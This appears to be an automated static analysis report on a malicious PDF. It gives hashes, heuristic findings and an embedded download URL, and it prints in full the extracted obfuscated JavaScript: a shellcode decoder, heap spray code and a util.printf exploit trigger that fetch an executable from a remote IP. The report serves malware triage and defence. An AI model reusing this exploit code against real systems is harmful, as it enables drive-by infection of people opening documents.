Malicious PDF / .TMP — malware analysis report

Static analysis result for SHA-256 ae170adf2e07f759…

MALICIOUS

PDF / .TMP

1.95 MB Created: 2008-08-03 07:51:49 -09:03 Authoring application: Adobe InDesign CS3 (5.0) (via Adobe PDF Library 8.1) First seen: 2026-05-10
MD5: 7300c6988e4c3768797ac1e87b9d2291 SHA-1: 3e1f663806b8024ed29bac23cd7ef5b0aff1770b SHA-256: ae170adf2e07f7597c90c89a07bf99fa909c3a97eda64cc3d416ccb372b59192
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The JavaScript stream, named 'javascript_obj0013_001.js', was found to contain obfuscated code and utilized the unescape() function, suggesting an attempt to hide malicious activity. The primary intent appears to be the execution of this script, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ulVpWlB = unescape(""+abrvalg((
"9z09x09xx0900feb335rb66c98r0b98001ef33e243e"+
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://79.99.133.75/eqxTWbd.exe?new=1&sid=a092a693a79faa99ab9aa7f4a19ca898a898a898a595ad9eaf98a992&u=i_7_0&spl=p1 Referenced by PDF JavaScript

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x361 2681 bytes
SHA-256: db00505b1ba829cf584a49daf695a43a22950791df282698fcd66f7d761f95ae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function ffA59h7SxSOKQ() {
var GBZSohrkP = "http://79.99.133.75/eqxTWbd.exe?new=1&sid=a092a693a79faa99ab9aa7f4a19ca898a898a898a595ad9eaf98a992&u=i_7_0&spl=p1";
var PZgQMI4ExD = '';
   function abrvalg(arg) {
      var out = "";
      for (var i=0; i<arg.length;i=i+4) {
         var br1 = parseInt('0x'+arg[i] + arg[i+1], 16).toString(16);
         var br2 = parseInt('0x'+arg[i+2] + arg[i+3], 16).toString(16);
         if(br2.length == 1) { br2 = "0" + br2; };
         if(br1.length == 1) { br1 = "0" + br1; };
         out = out + "%u" + br1 + br2;
      }
      return out;
  }
	
for (i = 0; i < GBZSohrkP.length; ) 
{
PZgQMI4ExD += '%u' + ((i+1<GBZSohrkP.length)?GBZSohrkP.charCodeAt(i+1).toString(16):'00')+GBZSohrkP.charCodeAt(i).toString(16);	
i = i + 2;
}

ulVpWlB = unescape(""+abrvalg((
"9z09x09xx0900feb335rb66c98r0b98001ef33e243e"+
"bfaze805xffecfffrf8b7fdf4eefef64efe3af9f"+
"6442f39zf64x6ee7erf03ezfeb64efb9036187e1a"+
"10z703ef11efefaa66b9zeb7787651107e1ef1f"+
"efefaa66bz9e7ca871r05f072defz0defefaa66b"+
"9e391870dx37079cef3rbefefaa66zb9ff2e870a"+
"960757ef29ezfefaa66arxffbd76f9a2c6615f7a"+
"ae806efeeb1ezf9a6664crbebaaexe8564b6f7ba"+
("07b9ef64efef87zbff5d9r9fxcz07807efef66eff").replace(new RegExp(/[zxswqr]/g),"")+
"3aa2ax6z42f6c66bfcfaa10rz87efefbfefaa6485"+
"fbb6edxba6407zf7ef8eefefraaexc28cfb3efc19"+
"1288raexbaf8a97efef9a10z64rcfe3xaaee8564b6"+
"f7baarzfx07efef85efb7exz8aaecdccbbc3410bcc"+
"f9axbcrbfaa648z5f3b6eabxa6407f7zefccefefef"+
"859xa1zr064cfe7aaed8564b6zf7baff07efef85e"+
"f64exfffraaee856z4b6f7baef07efefaeefbdb4"+
"0eec0xeecr0eec0eecz036cb5eb64bcz0d35bd180"+
"f1064bxa64rz03e792b264b9e39c6464d3f19bec"+
"97b91c9x964rzeccfdc1ca62642ae2cecdcb9e01"+
"9ff511dd5e7xr9b212zeece2af1d1ez0411d49ab1"+
"b50a0464b564erccb8932e36464a4zf3b532ece"+
"b64xec64b12a2xrdb2zefe71b071011zba10a3bda0a2efa1"
).replace(new RegExp(/[zxswqr]/g),"")));

home = unescape(PZgQMI4ExD);

runnable = ulVpWlB+home;
skipper = unescape(abrvalg(("0zx505"+"w0r5q0qq5").replace(new RegExp(/[zxswqr]/g),"")));

while (skipper.length<20+runnable.length)
{
	skipper+=skipper;
}

skipper1 = skipper.substring(0, 20+runnable.length);
skipper2 = skipper.substring(0, skipper.length-20-runnable.length);

while(skipper2.length<(0x40000-20-runnable.length))
{
	skipper2 += skipper2;
	skipper2 += skipper1;//skipper2 = skipper2+skipper2+skipper1;
}

context = new Array();
ii=-1;

while(++ii<1414)
{
	context[ii] = skipper2 + runnable;
}

var n2m2 = 12;
for(i = 0; i < 18; i++){ n2m2 = n2m2 + "9"; }
for(i = 0; i < 276; i++){ n2m2 = n2m2 + "8"; }
var str = "l25k34u35d30u30d30l66";
var fyt = unescape(str.replace(new RegExp(/[lkud]/g),"%"));
var fmck = util;
fmck.printf(fyt, n2m2);
	};

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